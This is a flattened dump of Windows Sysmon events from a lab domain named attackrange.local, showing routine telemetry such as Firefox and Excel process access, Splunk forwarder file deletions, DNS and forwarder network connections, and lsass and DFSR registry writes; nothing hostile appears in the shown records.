15:09:03.638{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+215d1b|C:\Program Files\Mozilla Firefox\xul.dll+c97ea4|C:\Program Files\Mozilla Firefox\xul.dll+16f88d0|C:\Program Files\Mozilla Firefox\xul.dll+16c43e8|C:\Program Files\Mozilla Firefox\xul.dll+1b5e147|C:\Program Files\Mozilla Firefox\xul.dll+177b82f|C:\Program Files\Mozilla Firefox\xul.dll+172d316|UNKNOWN(00000272BD6E1E84) 10341000x800000000000000056813Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.638{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+215d1b|C:\Program Files\Mozilla Firefox\xul.dll+c97ea4|C:\Program Files\Mozilla Firefox\xul.dll+16f88d0|C:\Program Files\Mozilla Firefox\xul.dll+16c43e8|C:\Program Files\Mozilla Firefox\xul.dll+1b5e147|C:\Program Files\Mozilla Firefox\xul.dll+177b82f|C:\Program Files\Mozilla Firefox\xul.dll+172d316|UNKNOWN(00000272BD6E1E84) 10341000x800000000000000056812Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.638{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x2200C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+2fb50|C:\Program Files\Mozilla Firefox\xul.dll+e4cd19|C:\Program Files\Mozilla Firefox\xul.dll+e4c727|C:\Program Files\Mozilla Firefox\xul.dll+8b9000|C:\Program Files\Mozilla Firefox\xul.dll+8ad3ed|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000056811Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.638{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\sessionstore-backups\recovery.jsonlz4MD5=AA3142EA4CF83961D22CABE751C86127,SHA256=129A2343BBCCDBFF46DDEF13B728F431FBF828B229DFA06821F1E445AA32C29F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056810Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.638{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\sessionstore-backups\recovery.baklz4MD5=65AAECE229B973D1920991853FB951B4,SHA256=C0E531B0D649D58D6E592BC2FEBD57A4747C58EF30CD3CC864CD9011907BCFC9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000056809Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.622{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x2200C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+2fb50|C:\Program Files\Mozilla Firefox\xul.dll+e4cd19|C:\Program Files\Mozilla Firefox\xul.dll+e4c727|C:\Program Files\Mozilla Firefox\xul.dll+8b9000|C:\Program Files\Mozilla Firefox\xul.dll+8ad3ed|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056808Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.507{7BD73061-6D0F-613B-9406-00000000F001}44804728C:\Windows\Explorer.EXE{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056807Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.490{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62390|C:\Windows\System32\TwinUI.dll+f54e1|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056806Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.490{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\TwinUI.dll+f5319|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000056805Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:00.474{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63184-false10.0.1.12-8000- 23542300x800000000000000056804Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.053{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=471BCEA6F9A26BF174FFAFAD066A24CB,SHA256=A6BACEFB00FFB0E1A90C788BB740AB6FB856D1486852455624BF5D56D7D1E55B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000056803Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.007{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+bee203|C:\Program Files\Mozilla Firefox\xul.dll+bed8a1|C:\Program Files\Mozilla Firefox\xul.dll+be54a3|C:\Program Files\Mozilla Firefox\xul.dll+beec50|C:\Program Files\Mozilla Firefox\xul.dll+faf709|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda|C:\Program Files\Mozilla Firefox\xul.dll+ea7e38|C:\Program Files\Mozilla Firefox\xul.dll+ea7972|C:\Program Files\Mozilla Firefox\xul.dll+2b4572|C:\Program Files\Mozilla Firefox\xul.dll+1ab7d5f|C:\Program Files\Mozilla Firefox\xul.dll+f0bba0 23542300x800000000000000018274Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:04.898{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CE2DAE90A76A22622BB3A435491C79B0,SHA256=70F55AB3A265115612543593420BCD0A69D0ED3A9361F6643E480A94D134D365,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000056964Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:02.951{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local61318- 23542300x800000000000000056963Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:04.835{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=5683135A3B7E19057C0E029FB161AD6D,SHA256=F3AC5015C1A8C9BD6700165C3390C3B4D3B59325B8B95A0F1220C7EB41A0802F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056962Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:04.835{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=7B27672FDAA8A58144B5DE1237593AC5,SHA256=76D7E4B78951D49B947B25712155DE7AAC4AFFF5AE386101F8C6D017DC3D4B85,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056961Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:04.413{7BD73061-750F-613B-AE0B-00000000F001}4084ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\pingsender.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\saved-telemetry-pings\5451b84d-4bdd-444f-91e4-513d09a1a700MD5=F97F33596E31D54FB21B9A013FA412A3,SHA256=F8E39397DEA5F394B06D4383086D6A69590D7CB588D41E202040D52CF70BA6B3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056960Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:04.226{7BD73061-750F-613B-AE0B-00000000F001}4084ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\pingsender.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\saved-telemetry-pings\83302ede-86eb-4690-8cc6-e26a0d969ff7MD5=C4648DD04888A480223BEC815D5FD188,SHA256=D991E15A0841234ADA80A515AFED8B7E56D2EC1CC21267F48E5EF8824632F3F9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056959Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:04.101{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=04D68CD19F05952FB00B86CE91E61749,SHA256=308280396CDAC8BD2CC3F39B8A81DE9470EF7523E5A6FEF1FFCA12C1591EC6B5,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 13241300x800000000000000018273Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 15:09:04.101{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeConfidenceDWORD (0x00000008) 13241300x800000000000000018272Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 15:09:04.101{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeTickCountQWORD (0x00000000-0x003360e4) 13241300x800000000000000018271Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 15:09:04.101{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeLowQWORD (0x01d7a64d-0x68ead6bd) 13241300x800000000000000018270Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 15:09:04.101{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeEstimatedQWORD (0x01d7a655-0xcaaf3ebd) 13241300x800000000000000018269Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 15:09:04.101{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeHighQWORD (0x01d7a65e-0x2c73a6bd) 13241300x800000000000000018268Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 15:09:04.101{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeConfidenceDWORD (0x00000008) 13241300x800000000000000018267Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 15:09:04.101{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeTickCountQWORD (0x00000000-0x003360e4) 13241300x800000000000000018266Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 15:09:04.101{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeLowQWORD (0x01d7a64d-0x68ead6bd) 13241300x800000000000000018265Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 15:09:04.101{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeEstimatedQWORD (0x01d7a655-0xcaaf3ebd) 13241300x800000000000000018264Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 15:09:04.101{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeHighQWORD (0x01d7a65e-0x2c73a6bd) 734700x800000000000000056958Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:04.023{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\ncryptsslp.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft SChannel ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationncryptsslp.dllMD5=80D0046E61E3DBD708B53657DA4C5821,SHA256=7457E1BB911D132A8BEDEB6D7DEDB82365A6D681FBEF2331D4FB545AC1DA5A56,IMPHASH=239D379DAEC05CA48775D7DD3AA4BFCAtrueMicrosoft WindowsValid 734700x800000000000000056957Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:04.007{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\cryptnet.dll10.0.14393.2035 (rs1_release_inmarket.180110-1910)Crypto Network Related APIMicrosoft® Windows® Operating SystemMicrosoft CorporationCRYPTNET.DLLMD5=C826D7EA2E1A6884120676A0A3CBC714,SHA256=B4EFCCA21ADC0FF2FD3505DD9F9F6D6F66CFF229FE21D97DFEF19F1D485769A0,IMPHASH=1277B5BCF0437BEA5158FFB1086840B6trueMicrosoft WindowsValid 734700x800000000000000056956Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:04.007{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000056955Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.991{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000056954Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.991{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\dpapi.dll10.0.14393.0 (rs1_release.160715-1616)Data Protection APIMicrosoft® Windows® Operating SystemMicrosoft Corporationdpapi.dllMD5=927EA28A3F416A5A5E9FC638CA245EF5,SHA256=D399633CC99D754DD999BB4FFADD768FEA82F57A0241809117AD786DC33DD30E,IMPHASH=8F811B713271A0FEFA798FB95D523A8BtrueMicrosoft WindowsValid 734700x800000000000000056953Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.991{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\ntasn1.dll10.0.14393.0 (rs1_release.160715-1616)Microsoft ASN.1 APIMicrosoft® Windows® Operating SystemMicrosoft Corporationntasn1.dllMD5=A45B23E8D2623CE3F760377766AF3E24,SHA256=E0A8F5055CD9E2AF029B8537E09EFFAF1F46C724CB720A6395DCF563EF70B843,IMPHASH=EAA4328F5E33714FA08C71E4AAE43CC1trueMicrosoft WindowsValid 23542300x800000000000000018276Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:05.913{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7CF44B2A6E053310951542B3502F31C8,SHA256=FE1229C8A3C1A70756A750D26F5F7E8129EB0C446E75180B52DD1BA381810EB3,IMPHASH=00000000000000000000000000000000falsetrue 22542200x800000000000000056971Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.660{7BD73061-728D-613B-560B-00000000F001}4776onedscolprdneu04.northeurope.cloudapp.azure.com9501-C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000056970Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.650{7BD73061-728D-613B-560B-00000000F001}4776onedscolprdneu04.northeurope.cloudapp.azure.com020.50.73.10;C:\Program Files\Mozilla Firefox\firefox.exe 354300x800000000000000056969Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.258{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse127.0.0.1win-dc-387.attackrange.local53domainfalse127.0.0.1win-dc-387.attackrange.local53049- 354300x800000000000000056968Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.228{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53049- 354300x800000000000000056967Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:02.955{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudptruefalse10.0.1.14win-dc-387.attackrange.local64834-false10.0.0.2ip-10-0-0-2.eu-central-1.compute.internal53domain 354300x800000000000000056966Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:02.955{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local62501- 23542300x800000000000000056965Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:05.116{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=280D9EF60292CFB80D1520A92BF3AC97,SHA256=F4A8D0E748DC74F0D1875F3A6315B0C8AC6E98DBE2C5AAE39F20379EBB950083,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018275Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:03.358{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50416-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018277Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:06.929{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=65F65DAD7E31679A5F5A1397D2C2A08F,SHA256=4FAFC2F33CE86360E4A4BACDAC84CD298F8B91CDC14486AA640579578781900A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056972Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:06.351{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A889B964D3A712A12A06677C08762178,SHA256=E09B722D9F7B514C4B0554FF18ED6EC34B24D0B2F4D52A03F55E83268FA717EA,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018278Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:07.945{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CBDF143736070CEFDA82F2269D1410B9,SHA256=0819E48C1895B98B738D1ED4A40DBB0FE7DC6974FA004083406CD26BA8675015,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000056977Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:09:07.570{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\system32\DFSRs.exeHKLM\System\CurrentControlSet\Services\DFSR\Parameters\Volumes\9752B235-0000-0000-0000-100000000000\Volume Configuration File\\.\C:\System Volume Information\DFSR\Config\Volume_9752B235-0000-0000-0000-100000000000.XML 13241300x800000000000000056976Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:09:07.554{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\system32\DFSRs.exeHKLM\System\CurrentControlSet\Services\DFSR\Parameters\Replication Groups\A9BEF82B-7554-4A26-9673-C40BC60290B0\Config SourceDWORD (0x00000001) 13241300x800000000000000056975Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:09:07.554{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\system32\DFSRs.exeHKLM\System\CurrentControlSet\Services\DFSR\Parameters\Replication Groups\A9BEF82B-7554-4A26-9673-C40BC60290B0\Replica Set Configuration File\\?\C:\System Volume Information\DFSR\Config\Replica_A9BEF82B-7554-4A26-9673-C40BC60290B0.XML 23542300x800000000000000056974Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:07.476{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 